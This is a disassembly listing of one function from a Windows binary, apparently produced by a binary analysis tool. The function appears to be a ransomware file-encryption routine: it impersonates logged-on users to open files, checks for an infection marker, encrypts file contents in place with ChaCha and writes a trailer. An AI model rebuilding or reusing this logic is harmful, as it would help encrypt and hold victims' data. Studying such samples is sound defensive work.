Function at 0x14002c620
Capabilities:
Get file size
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
mov eax, 0x2bf8
call fcn.14009cd54
sub rsp, rax
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0x2b60], xmm6
and rsp, 0xffffffffffffffc0
mov r14d, r9d
mov rdi, r8
mov r13, rcx
movzx esi, byte [rbp + 0x2be8]
movzx ebx, byte [rbp + 0x2be0]
mov r12, qword [rdx]
xor r15d, r15d
cmp r12, 0xffffffffffffffff
jne 0x14002c6ad
mov rcx, qword [r13]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x12000000
mov dword [rsp + 0x20], 3
xor r15d, r15d
mov edx, 0x12019f
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x14002c785
mov dword [rsp + 0x7c], 0
mov dword [rsp + 0x94], 0
lea rdx, [rsp + 0xb8]
mov rcx, r12
call qword [sym.imp.KERNEL32.DLL_GetFileSizeEx]
test eax, eax
je 0x14002c76b
mov rcx, qword [rsp + 0xb8]
test rcx, rcx
je 0x14002c777
mov rsi, qword [rbp + 0x2bf0]
mov dword [rsp + 0xcc], 0
cmp rcx, 5
mov qword [rsp + 0x88], rcx
jl 0x14002c8df
test rsi, rsi
je 0x14002c88b
mov rcx, rsi
call fcn.1400741a0
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0xcc]
lea r9, [rsp + 0x7c]
mov rcx, r12
mov r8d, 4
call qword [sym.imp.KERNEL32.DLL_ReadFile]
mov rcx, rsi
call fcn.1400741d0
cmp dword [rsp + 0xcc], 0xb36be7fe
jne 0x14002c8c1
mov rcx, r12
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x14002d6db
mov qword [rsp + 0xb8], 0
mov rcx, r12
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x14002dbf2
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov r15d, eax
cmp eax, 5
jne 0x14002dcaf
mov dword [rsp + 0xac], r14d
mov rcx, qword [r13]
call fcn.14004e0c0
mov rcx, qword [r13]
mov edx, 0x80
call qword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
mov r15, r13
mov rcx, qword [r13 + 8]
test rcx, rcx
je 0x14002dc53
mov r8, qword [rbp + 0x2c20]
mov rax, qword [rcx]
mov rcx, qword [rcx + 8]
mov rdx, rcx
sub rdx, rax
cmp rdx, 8
ja 0x14002c7ed
mov rdx, qword [r8]
cmp rdx, qword [rax]
je 0x14002dc53
cmp rcx, rax
je 0x14002dc53
xor ebx, ebx
mov rsi, qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov r13, qword [sym.imp.KERNEL32.DLL_GetLastError]
nop word cs:[rax + rax]
call qword [sym.imp.ADVAPI32.dll_RevertToSelf]
mov r14, r15
mov rax, qword [r15 + 8]
mov rax, qword [rax]
mov rcx, qword [rax + rbx*8]
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov rcx, qword [r15]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x12000000
mov dword [rsp + 0x20], 3
mov edx, 0x12019f
xor r8d, r8d
xor r9d, r9d
call rsi
mov r12, rax
call r13
cmp r12, 0xffffffffffffffff
jne 0x14002dc0f
and eax, 0xfffffffe
mov rdx, qword [r14 + 8]
cmp eax, 0x20
je 0x14002dc40
inc rbx
mov rcx, qword [rdx + 8]
sub rcx, qword [rdx]
sar rcx, 3
cmp rcx, rbx
ja 0x14002c810
jmp 0x14002dc53
mov qword [rsp + 0x20], 0
lea rdx, [rsp + 0xcc]
lea r9, [rsp + 0x7c]
mov rcx, r12
mov r8d, 4
call qword [sym.imp.KERNEL32.DLL_ReadFile]
cmp dword [rsp + 0xcc], 0xb36be7fe
je 0x14002c75d
lea r8, [rsp + 0xd0]
mov rcx, r12
xor edx, edx
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
mov rcx, qword [rsp + 0x88]
movzx esi, byte [rbp + 0x2c08]
movsxd rax, dword [rbp + 0x2c10]
shl rax, 0x14
cmp rcx, rax
mov qword [rsp + 0x128], r13
mov dword [rsp + 0xac], r14d
mov qword [rsp + 0xb0], r15
jle 0x14002c9fe
mov rsi, qword [r13]
mov rcx, rsi
call sub.msvcrt.dll_wcslen
dec eax
mov ecx, eax
nop word cs:[rax + rax]
sub ecx, 1
jb 0x14002c949
movsxd rdx, eax
cmp word [rsi + rdx*2], 0x2e
mov eax, ecx
jne 0x14002c930
lea rsi, [rsi + rdx*2]
add rsi, 2
movzx eax, byte [rbp + 0x2c08]
test al, al
je 0x14002ca03
mov rbx, qword [0x1402da5a8]
mov r14, qword [0x1402da5b0]
cmp rbx, r14
je 0x14002c99a
mov r15, qword [sym.imp.msvcrt.dll__wcsicmp]
nop word cs:[rax + rax]
mov rcx, qword [rbx]
mov rdx, rsi
call r15
test eax, eax
je 0x14002ca1d
add rbx, 8
cmp rbx, r14
jne 0x14002c980
movzx eax, byte [rbp + 0x2c08]
cmp al, 0x7e
ja 0x14002ca0a
mov rbx, qword [0x1402d7350]
mov r14, qword [0x1402d7358]
cmp rbx, r14
je 0x14002c9d6
mov r15, qword [sym.imp.msvcrt.dll__wcsicmp]
nop
mov rcx, qword [rbx]
mov rdx, rsi
call r15
test eax, eax
je 0x14002c9df
add rbx, 8
cmp rbx, r14
jne 0x14002c9c0
cmp byte [rbp + 0x2be0], 4
jne 0x14002ca0a
mov r13, rdi
movzx eax, byte [rbp + 0x2c08]
mov rcx, rax
add eax, eax
cmp cl, 2
movzx eax, al
mov esi, 4
cmovae esi, eax
jmp 0x14002ca22
mov r13, rdi
jmp 0x14002ca29
mov r13, rdi
xor esi, esi
jmp 0x14002ca29
mov r13, rdi
movzx ebx, byte [rbp + 0x2be0]
movzx esi, byte [rbp + 0x2c08]
jmp 0x14002ca29
mov r13, rdi
xor esi, esi
movzx ebx, byte [rbp + 0x2be0]
lea rdi, [rsp + 0x300]
mov rcx, rdi
call fcn.14005c770
lea r14, [rsp + 0x1c0]
mov rcx, rdi
mov rdx, r14
mov r8d, 0x20
call fcn.14005c780
lea rcx, [rsp + 0x1e0]
mov edx, 0x20
call fcn.14006bd80
mov rcx, r14
mov edx, 0x40
mov r8, r14
call fcn.14005bdc0
movzx r8d, sil
test r8b, r8b
je 0x14002caba
lea rcx, [r8 + 2]
mov rdi, r13
imul rcx, r13
shl rcx, 0x10
mov rax, qword [rsp + 0x88]
cmp rcx, rax
jle 0x14002cac5
mov rcx, r8
shl rcx, 0x11
add rcx, 0x20000
mov rdx, rax
shr rdx, 0x20
je 0x14002cabf
cqo
idiv rcx
mov rdi, rax
jmp 0x14002cac5
mov rdi, r13
jmp 0x14002cac5
xor edx, edx
div ecx
mov edi, eax
mov qword [rsp + 0x98], r8
mov qword [rsp + 0xd8], rsi
mov rsi, qword [rbp + 0x2c18]
mov qword [rsp + 0xa0], 0
test bl, bl
mov qword [rsp + 0x80], r12
je 0x14002cbc4
lea rcx, [0x1402d7300]
call fcn.1400741a0
movss xmm6, dword [0x1402da468]
mov r14d, dword [0x1402d8b60]
lea rdx, [0x1402d73f0]
lea r12, [rsp + 0x390]
mov rcx, r12
mov r8, r14
call sub.msvcrt.dll_memcpy
movaps xmm0, xmmword [0x1402d7370]
movaps xmmword [rsp + 0x1a0], xmm0
movaps xmm0, xmmword [0x1402d7380]
mov rax, qword [rsp + 0xb8]
add qword [0x1402d72f8], rax
movaps xmmword [rsp + 0x1b0], xmm0
add qword [rsi], rax
mov rcx, qword [0x1402d72f8]
movabs rax, 0x17700000001
cmp rcx, rax
jb 0x14002cc0f
movabs rdx, 0xaec33e1f671529a5
mov rax, rcx
mul rdx
shr rdx, 0x28
movabs rax, 0x17700000000
imul rax, rdx
sub rcx, rax
mov qword [0x1402d72f8], rcx
mov rcx, qword [0x1402da478]
call qword [sym.imp.KERNEL32.DLL_SetEvent]
mov rcx, qword [0x1402da4b8]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
jmp 0x14002cc0f
mov r14d, dword [0x1402d8b64]
movaps xmm0, xmmword [0x1402d7390]
movaps xmmword [rsp + 0x1a0], xmm0
movaps xmm0, xmmword [0x1402d73a0]
movaps xmmword [rsp + 0x1b0], xmm0
movss xmm6, dword [0x1402da46c]
lea rcx, [0x1402d7300]
call fcn.1400741a0
mov rax, qword [rsp + 0xb8]
add qword [rsi], rax
lea r12, [0x1402d8b70]
mov rsi, qword [rsp + 0xd8]
lea rcx, [0x1402d7300]
call fcn.1400741d0
cmp rdi, 2
mov ebx, 1
cmovge rbx, rdi
mov r13, rbx
shr r13, 0x10
mov rax, rbx
shl rax, 0x10
cmp rax, 0x200001
mov r15d, 0x200000
cmovb r15, rax
test sil, sil
cmove r15, rax
mov rax, qword [rsp + 0x88]
cmp r15, rax
jle 0x14002cc77
lea r15, [rax + 0xffff]
test rax, rax
cmovns r15, rax
and r15, 0xffffffffffff0000
lea rdi, [rsp + 0x970]
mov rcx, rdi
xor edx, edx
call fcn.14005d930
lea rdx, [rsp + 0xa0]
mov rcx, r12
mov r8, rdi
mov r9d, r14d
call fcn.140069140
lea rcx, [rsp + 0x2e0]
lea r12, [rsp + 0x370]
mov rdx, r12
call fcn.14006b7d0
lea r14, [rsp + 0x340]
lea rsi, [rsp + 0x320]
lea r8, [rsp + 0x1a0]
mov rcx, rsi
mov rdx, r12
call fcn.14006b830
mov edx, 0x20
mov rcx, r12
call fcn.14006bd80
mov rcx, rsi
mov edx, 0x20
mov r8, r14
call fcn.14005bdc0
lea r12, [rsp + 0x3a0]
movaps xmm0, xmmword [rsp + 0x1c0]
movaps xmm1, xmmword [rsp + 0x1d0]
movaps xmmword [rsp + 0x3a0], xmm0
movaps xmmword [rsp + 0x3b0], xmm1
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x3c0], rax
mov rax, qword [rsp + 0xd8]
mov byte [rsp + 0x3c8], al
mov byte [rsp + 0x3c9], bl
mov byte [rsp + 0x3ca], r13b
movaps xmm0, xmmword [rsp + 0x2e0]
movaps xmm1, xmmword [rsp + 0x2f0]
movups xmmword [rsp + 0x3cb], xmm0
movups xmmword [rsp + 0x3db], xmm1
lea rdx, [rsp + 0x360]
mov qword [rsp + 0x28], 0x14
mov qword [rsp + 0x20], 0x2b
mov rcx, r14
mov r8, r12
mov r9, r12
call sym.anoun_316_v4.06.exe_chacha
mov qword [rsp + 0xa0], 0
lea rax, [rsp + 0x300]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
mov dword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x40], 2
mov dword [rsp + 0x38], 7
mov dword [rsp + 0x30], 1
mov rcx, r12
mov edx, 0x4b
mov r8, r12
mov r9d, 0x5cc
call fcn.14005f5e0
cdqe
mov qword [rsp + 0xa0], rax
mov rcx, rdi
call fcn.14005da00
movss dword [rsp + 0x39c], xmm6
mov dword [rsp + 0x398], 0xb36be7fe
mov rdi, qword [rsp + 0xa0]
lea rsi, [rdi + 8]
mov qword [rsp + 0xa0], rsi
add rdi, 0xb
mov rcx, rdi
call sub.msvcrt.dll_malloc
test rax, rax
je 0x14002ce30
mov r12, rax
mov byte [rax + rsi + 2], 0x7f
mov word [rax + rsi], 0x2ddc
lea rcx, [rsp + 0x200]
lea rsi, [rsp + 0x1c0]
mov r9d, 0x14
mov rdx, rsi
lea r8, [rsp + 0x1e0]
call sym.anoun_316_v4.06.exe_chacha_init
mov edx, 0x28
mov rcx, rsi
call fcn.14006bd80
xorps xmm0, xmm0
movaps xmmword [rsp + 0x1d0], xmm0
movaps xmmword [rsp + 0x1c0], xmm0
mov qword [rsp + 0x1e0], 0
movaps xmmword [rsp + 0x2b0], xmm0
movaps xmmword [rsp + 0x2a0], xmm0
test r15, r15
mov r14, r15
cmove r14, qword [rsp + 0x88]
add r14, 0x10
mov rsi, qword [sym.imp.msvcrt.dll__aligned_malloc]
mov r13, qword [rsp + 0x80]
nop
mov edx, 0x10000
mov rcx, r14
call rsi
test rax, rax
je 0x14002ced0
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x2d0], xmm0
mov r9d, dword [rsp + 0xb8]
mov eax, dword [rsp + 0xbc]
lea rcx, [rsp + 0x2c0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], eax
mov rcx, r13
mov edx, 2
xor r8d, r8d
call qword [sym.imp.KERNEL32.DLL_LockFileEx]
test r15, r15
mov qword [rsp + 0xe8], r15
je 0x14002d3ec
mov rax, qword [rsp + 0x88]
sub rax, r15
jl 0x14002d3ec
mov qword [rsp + 0x160], rax
mov rcx, qword [rsp + 0x98]
lea rax, [rcx + 1]
imul rax, r15
mov qword [rsp + 0x170], rax
mov rax, r15
neg rax
mov qword [rsp + 0x158], rax
mov rax, 0xfffffffffffffffe
sub rax, rcx
imul rax, r15
mov qword [rsp + 0x168], rax
mov rax, r15
imul rax, rcx
mov qword [rsp + 0x150], rax
mov al, 1
mov dword [rsp + 0xe4], eax
xor eax, eax
mov qword [rsp + 0xc0], rax
lea r9, [rsp + 0x7c]
xor edi, edi
xor edx, edx
jmp 0x14002cfdb
cmp r13, qword [rsp + 0x88]
mov r13, qword [rsp + 0x80]
lea r9, [rsp + 0x7c]
jg 0x14002d3f0
add rdx, qword [rsp + 0x170]
mov qword [rsp + 0x98], rdx
cmp byte [rsp + 0xc0], 0
jne 0x14002d060
mov rax, qword [rbp + 0x2bf8]
cmp dword [rax], 1
jle 0x14002d060
mov r13, qword [rbp + 0x2bf0]
test r13, r13
je 0x14002d0c8
mov rcx, r13
mov r15, r9
call fcn.1400741a0
mov qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0x80]
mov rdx, rbx
mov rsi, qword [rsp + 0xe8]
mov r8d, esi
mov r9, r15
call qword [sym.imp.KERNEL32.DLL_ReadFile]
mov rcx, r13
call fcn.1400741d0
jmp 0x14002d0ed
test rdi, rdi
jne 0x14002d1c7
nop dword [rax]
mov edx, 0x10000
mov rcx, r14
call rsi
test rax, rax
je 0x14002d070
mov rdi, rax
mov rax, qword [rbp + 0x2bf0]
test rax, rax
je 0x14002d151
mov rcx, rax
call fcn.1400741a0
mov qword [rsp + 0x20], 0
mov rcx, r13
mov rdx, rdi
mov r8d, r15d
lea r9, [rsp + 0x7c]
call qword [sym.imp.KERNEL32.DLL_ReadFile]
mov rcx, qword [rbp + 0x2bf0]
call fcn.1400741d0
jmp 0x14002d16e
mov qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0x80]
mov rdx, rbx
mov rsi, qword [rsp + 0xe8]
mov r8d, esi
call qword [sym.imp.KERNEL32.DLL_ReadFile]
lea rcx, [rsp + 0x200]
mov rdx, rbx
mov r8, rbx
mov r9, rsi
call sym.anoun_316_v4.06.exe_chacha_update
cmp rax, rsi
jne 0x14002d5b3
mov r13, qword [rsp + 0x80]
mov r15, qword [rsp + 0xe8]
mov rsi, qword [sym.imp.msvcrt.dll__aligned_malloc]
mov rcx, r13
mov rdx, qword [rsp + 0x158]
lea r8, [rsp + 0xd0]
mov r9d, 1
call qword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
xor eax, eax
mov qword [rsp + 0xc0], rax
jmp 0x14002d2e0
mov qword [rsp + 0x20], 0
mov rcx, r13
mov rdx, rdi
mov r8d, r15d
lea r9, [rsp + 0x7c]
call qword [sym.imp.KERNEL32.DLL_ReadFile]
mov r13, qword [rsp + 0x80]
mov rcx, r13
mov rdx, qword [rsp + 0x158]
lea r8, [rsp + 0xd0]
mov r9d, 1
call qword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
mov rax, qword [rbp + 0x2c00]
lea rcx, [rsp + 0x7c]
mov qword [rax + 0x30], rcx
mov qword [rax + 0x28], r15
mov qword [rax + 0x40], rdi
mov qword [rax + 0x18], r13
lea rcx, [rsp + 0x2a0]
mov qword [rax + 0x20], rcx
mov al, 1
mov qword [rsp + 0xc0], rax
mov rcx, rbx
mov rdx, rdi
mov r8, r14
call sub.msvcrt.dll_memcpy
mov rcx, qword [rsp + 0x98]
lea rax, [rcx + r15]
cmp rax, qword [rsp + 0x88]
jle 0x14002d220
lea rcx, [rsp + 0x200]
mov rdx, rbx
mov r8, rbx
mov r9, r15
call sym.anoun_316_v4.06.exe_chacha_update
mov cl, 2
mov qword [rsp + 0xc0], rcx
cmp rax, r15
je 0x14002d2e0
jmp 0x14002d706
mov qword [rsp + 0x2b0], rcx
mov rcx, qword [rbp + 0x2bf0]
test rcx, rcx
je 0x14002d239
call fcn.1400741a0
mov rax, qword [rbp + 0x2c00]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.DLL_SetEvent]
lea rcx, [rsp + 0x200]
mov rdx, rbx
mov r8, rbx
mov r9, r15
call sym.anoun_316_v4.06.exe_chacha_update
cmp rax, r15
jne 0x14002d706
cmp byte [rsp + 0xc0], 2
jne 0x14002d27a
mov al, 2
jmp 0x14002d144
mov rax, qword [rbp + 0x2c00]
mov rcx, qword [rax]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
mov rcx, qword [rbp + 0x2bf0]
test rcx, rcx
je 0x14002d2a0
call fcn.1400741d0
mov eax, dword [rsp + 0x7c]
cmp r15, rax
jne 0x14002e044
mov rcx, r13
mov rdx, qword [rsp + 0x168]
lea r8, [rsp + 0xd0]
mov r9d, 1
call qword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
cmp byte [rsp + 0xc0], 0
je 0x14002d123
nop word [rax + rax]
test byte [rsp + 0xe4], 1
je 0x14002d326
mov r13, qword [rsp + 0xa0]
mov rcx, r12
mov rdx, rbx
mov r8, r13
call sub.msvcrt.dll_memcpy
mov rcx, rbx
lea rdx, [rsp + 0x398]
mov r8, r13
mov r13, qword [rsp + 0x80]
call sub.msvcrt.dll_memcpy
mov dword [rsp + 0xe4], 0
mov rcx, qword [rbp + 0x2bf0]
test rcx, rcx
je 0x14002d337
call fcn.1400741a0
mov qword [rsp + 0x20], 0
mov rcx, r13
mov rdx, rbx
mov r8d, r15d
lea r9, [rsp + 0x94]
call qword [sym.imp.KERNEL32.DLL_WriteFile]
mov eax, dword [rsp + 0x94]
cmp r15, rax
je 0x14002d371
call qword [sym.imp.KERNEL32.DLL_GetLastError]
mov qword [rsp + 0xb0], rax
mov rcx, qword [rbp + 0x2bf0]
test rcx, rcx
je 0x14002d382
call fcn.1400741d0
cmp dword [rsp + 0x94], 0
je 0x14002d71c
mov rdx, qword [rsp + 0x98]
lea r13, [rdx + r15]
cmp byte [rsp + 0xd8], 0
je 0x14002cfc0
mov rax, qword [rsp + 0x88]
cmp r13, rax
jg 0x14002d6e2
mov rcx, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x150]
lea r8, [rsp + 0xd0]
mov r9d, 1
call qword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
mov rdx, qword [rsp + 0x98]
jmp 0x14002cfc0
xor edi, edi
xor edx, edx
lea r8, [rsp + 0xd0]
mov rcx, r13
mov r14, rdx
xor r9d, r9d
call qword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
mov rsi, qword [rbp + 0x2bf0]
test rsi, rsi
mov r15, r13
je 0x14002d450
mov rcx, rsi
call fcn.1400741a0
mov r13, qword [rsp + 0x88]
sub r13, r14
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x7c]
mov rcx, r15
mov rdx, rbx
mov r8d, r13d
call qword [sym.imp.KERNEL32.DLL_ReadFile]
mov rcx, rsi
call fcn.1400741d0
jmp 0x14002d478
mov r13, qword [rsp + 0x88]
sub r13, r14
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x7c]
mov rcx, r15
mov rdx, rbx
mov r8d, r13d
call qword [sym.imp.KERNEL32.DLL_ReadFile]
lea rsi, [rsp + 0x200]
mov rcx, rsi
mov rdx, rbx
mov r8, rbx
mov r9, r13
call sym.anoun_316_v4.06.exe_chacha_update
mov r14, rax
mov rdx, r13
neg rdx
lea r8, [rsp + 0xd0]
mov rcx, r15
mov r9d, 1
call qword [sym.imp.KERNEL32.DLL_SetFilePointerEx]
mov eax, r14d
mov rdx, rbx
add rdx, rax
mov rcx, rsi
call sym.anoun_316_v4.06.exe_chacha_final
mov rsi, rax
add rsi, r14
mov eax, esi
cmp rax, r13
jne 0x14002d5b3
cmp qword [rsp + 0xe8], 0
jne 0x14002d530
mov rax, qword [rsp + 0xa0]
cmp rax, r13
cmovb r13, rax
mov rcx, r12
add rcx, rax
sub rcx, r13
mov rdx, rbx
mov r8, r13
call sub.msvcrt.dll_memcpy
mov rcx, rbx
lea r15, [rsp + 0x398]
mov rdx, r15
mov r8, r13
call sub.msvcrt.dll_memcpy
add r15, r13
mov r8, qword [rsp + 0xa0]
sub r8, r13
mov rcx, r12
mov rdx, r15
call sub.msvcrt.dll_memcpy
mov r13, qword [rbp + 0x2bf0]
test r13, r13
je 0x14002d5de
mov rcx, r13
call fcn.1400741a0
mov qword [rsp + 0x20], 0
mov rax, qword [sym.imp.KERNEL32.DLL_WriteFile]
lea r14, [rsp + 0x94]
mov r15, qword [rsp + 0x80]
mov rcx, r15
mov rdx, rbx
mov r8d, esi
mov r9, r14
mov rsi, rax
call rax
mov rcx, r13
call fcn.1400741d0
mov rcx, r13
call fcn.1400741a0
mov r8d, dword [rsp + 0xa0]
add r8d, 3
mov qword [rsp + 0x20], 0
mov rcx, r15
mov rdx, r12
mov r9, r14
call rsi
mov rcx, r13
call fcn.1400741d0
jmp 0x14002d62e
lea rcx, str.chacha_faild
mov dl, 1
call fcn.140011c60
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_SetLastError]
mov r8, qword [rsp + 0xb0]
mov r13, qword [rsp + 0x80]
jmp 0x14002d724
mov qword [rsp + 0x20], 0
mov r13, qword [sym.imp.KERNEL32.DLL_WriteFile]
lea r14, [rsp + 0x94]
mov r15, qword [rsp + 0x80]
mov rcx, r15
mov rdx, rbx
mov r8d, esi
mov r9, r14
call r13
mov r8d, dword [rsp + 0xa0]
add r8d, 3
mov qword [rsp + 0x20], 0
mov rcx, r15
mov rdx, r12
mov r9, r14
call r13
mov rcx, r12
call fcn.140257dd0
xorps xmm6, xmm6
lea rax, [rsp + 0x2d0]
movups xmmword [rax], xmm6
mov r8d, dword [rsp + 0xb8]
mov r9d, dword [rsp + 0xbc]
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x20], rax
mov rcx, r15
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_UnlockFileEx]
mov rax, qword [rbp + 0x2c00]
mov qword [rax + 0x40], 0
mov rcx, rbx
call qword [sym.imp.msvcrt.dll__aligned_free]
test rdi, rdi
je 0x14002d692
mov rcx, rdi
call qword [sym.imp.msvcrt.dll__aligned_free]
mov rcx, r15
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
movaps xmmword [rsp + 0x200], xmm6
movaps xmmword [rsp + 0x210], xmm6
movaps xmmword [rsp + 0x220], xmm6
movaps xmmword [rsp + 0x230], xmm6
movaps xmmword [rsp + 0x240], xmm6
movaps xmmword [rsp + 0x250], xmm6
movaps xmmword [rsp + 0x260], xmm6
movaps xmmword [rsp + 0x270], xmm6
mov al, 1
jmp 0x14002dbf4
sub rdx, qword [rsp + 0x150]
sub rax, rdx
cmp rax, r15
cmovg rdx, qword [rsp + 0x160]
mov r13, qword [rsp + 0x80]
jmp 0x14002d3f0
lea rcx, str.chacha_faild
mov dl, 1
call fcn.140011c60
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_SetLastError]
mov r8, qword [rsp + 0xb0]
mov eax, r8d
and eax, 0xfffffffe
movzx edx, byte [rbp + 0x2be8]
cmp dl, 1
mov ecx, dword [rsp + 0xac]
jg 0x14002d7df
cmp eax, 0x20
jne 0x14002d7df
mov qword [rsp + 0xb0], r8
movsxd rcx, ecx
lea rax, [0x1402da358]
mov qword [rsp + 0x98], rax
mov rax, qword [0x1402da358]
mov qword [rsp + 0x88], rcx
lea rcx, [rcx*8]
lea r13, [rcx + rcx*2]
movzx r15d, byte [rbp + 0x2be0]
mov rax, qword [rax + r13]
mov rcx, qword [rax + r15*8]
call fcn.1400741a0
mov rax, qword [0x1402da310]
mov r14, qword [rax + r13]
lea rsi, [r15 + r15*2]
lea r13, [r14 + rsi*8]
mov ecx, 0x20
call fcn.1400731c0
mov rcx, qword [rsp + 0x128]
movups xmm0, xmmword [rcx]
mov qword [rcx], 0
movups xmmword [rax + 0x10], xmm0
mov qword [rax + 8], r13
mov rcx, qword [r14 + rsi*8]
mov qword [rax], rcx
mov qword [rcx + 8], rax
mov qword [r14 + rsi*8], rax
jmp 0x14002d881
cmp dl, 2
jne 0x14002d8b9
cmp eax, 0x20
jne 0x14002d8b9
mov qword [rsp + 0xb0], r8
movsxd rcx, ecx
lea rax, [0x1402da370]
mov qword [rsp + 0x98], rax
mov rax, qword [0x1402da370]
mov qword [rsp + 0x88], rcx
lea rcx, [rcx*8]
lea rsi, [rcx + rcx*2]
movzx r15d, byte [rbp + 0x2be0]
mov rax, qword [rax + rsi]
mov rcx, qword [rax + r15*8]
call fcn.1400741a0
mov rax, qword [0x1402da328]
mov rsi, qword [rax + rsi]
lea r14, [r15 + r15*2]
lea r13, [rsi + r14*8]
mov ecx, 0x20
call fcn.1400731c0
mov rcx, qword [rsp + 0x128]
movups xmm0, xmmword [rcx]
mov qword [rcx], 0
movups xmmword [rax + 0x10], xmm0
mov qword [rax + 8], r13
mov rcx, qword [rsi + r14*8]
mov qword [rax], rcx
mov qword [rcx + 8], rax
mov qword [rsi + r14*8], rax
inc qword [r13 + 0x10]
mov rax, qword [rsp + 0x98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88]
lea rcx, [rcx + rcx*2]
mov rax, qword [rax + rcx*8]
mov rcx, qword [rax + r15*8]
call fcn.1400741d0
mov r13, qword [rsp + 0x80]
mov r8, qword [rsp + 0xb0]
cmp byte [0x14029c040], 0
jne 0x14002dbbb
mov rax, qword [rsp + 0x128]
mov r14, qword [rax]
lea rsi, [rsp + 0x188]
mov rcx, rsi
mov edx, r8d
call fcn.140076dc0
lea r8, str._mid_error:
mov rcx, rsi
xor edx, edx
call fcn.140075dd0
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x140], rcx
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x130], xmm0
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], 0
test byte [rsp + 0x130], 1
je 0x14002d92e
mov r15, qword [rsp + 0x140]
jmp 0x14002d936
lea r15, [rsp + 0x132]
mov qword [rsp + 0x178], 0
xor esi, esi
test r14, r14
je 0x14002da0c
test r15, r15
je 0x14002da0c
movabs rsi, 0x100000000
mov qword [rsp + 0x88], r14
mov rcx, r14
call sub.msvcrt.dll_wcslen
mov r14, rax
mov rcx, r15
call sub.msvcrt.dll_wcslen
mov r13, rax
mov rax, r14
mov qword [rsp + 0x98], r14
add r14d, r13d
shl r14, 0x20
add r14, rsi
sar r14, 0x1f
nop word [rax + rax]
mov rcx, r14
call sub.msvcrt.dll_malloc
test rax, rax
je 0x14002d9a0
mov rsi, rax
mov qword [rsp + 0x178], rax
movsxd r14, dword [rsp + 0x98]
lea r8, [r14 + r14]
mov rcx, rax
mov rdx, qword [rsp + 0x88]
call sub.msvcrt.dll_memcpy
lea rcx, [rsi + r14*2]
shl r13, 0x20
movabs rax, 0x100000000
add r13, rax
sar r13, 0x1f
mov rdx, r15
mov r8, r13
call sub.msvcrt.dll_memcpy
mov qword [rsp + 0x180], 0
mov r13, qword [rsp + 0x80]
movzx r15d, byte [0x1402da388]
mov ecx, r15d
and cl, 1
je 0x14002da25
mov r15, qword [0x1402da390]
jmp 0x14002da28
shr r15, 1
lea r14, [r15 + 0x36]
movabs rax, 0x7fffffffffffffef
cmp r14, rax
ja 0x14002e054
cmp r14, 0xa
ja 0x14002da6b
xorps xmm0, xmm0
movaps xmmword [rsp + 0xf0], xmm0
mov qword [rsp + 0x100], 0
add r14b, r14b
mov byte [rsp + 0xf0], r14b
xor eax, eax
jmp 0x14002dab7
mov r13, r14
or r13, 7
inc r13
js 0x14002e06e
mov rcx, r13
add rcx, r13
call fcn.1400731c0
or r13, 1
mov qword [rsp + 0xf0], r13
mov qword [rsp + 0x100], rax
mov qword [rsp + 0xf8], r14
movzx ecx, byte [0x1402da388]
and cl, 1
mov r14d, r13d
mov r13, qword [rsp + 0x80]
test r14b, 1
lea r14, [rsp + 0xf2]
cmovne r14, rax
test cl, cl
je 0x14002dad4
mov rdx, qword [0x1402da398]
jmp 0x14002dadb
lea rdx, [0x1402da38a]
lea r8, [r15 + r15]
mov rcx, r14
call sub.msvcrt.dll_memmove
movups xmm0, xmmword [str.ProgramDataAdobeExtension_Manager_CCLogs_fails.txt]
movups xmmword [r14 + r15*2], xmm0
movups xmm0, xmmword [0x14025d97c]
movups xmmword [r14 + r15*2 + 0x10], xmm0
movups xmm0, xmmword [0x14025d98c]
movups xmmword [r14 + r15*2 + 0x20], xmm0
movups xmm0, xmmword [0x14025d99c]
movups xmmword [r14 + r15*2 + 0x30], xmm0
movups xmm0, xmmword [0x14025d9ac]
movups xmmword [r14 + r15*2 + 0x40], xmm0
movups xmm0, xmmword [0x14025d9bc]
movups xmmword [r14 + r15*2 + 0x50], xmm0
movups xmm0, xmmword [0x14025d9c8]
movups xmmword [r14 + r15*2 + 0x5c], xmm0
mov word [r14 + r15*2 + 0x6c], 0
mov byte [rsp + 0x20], 0
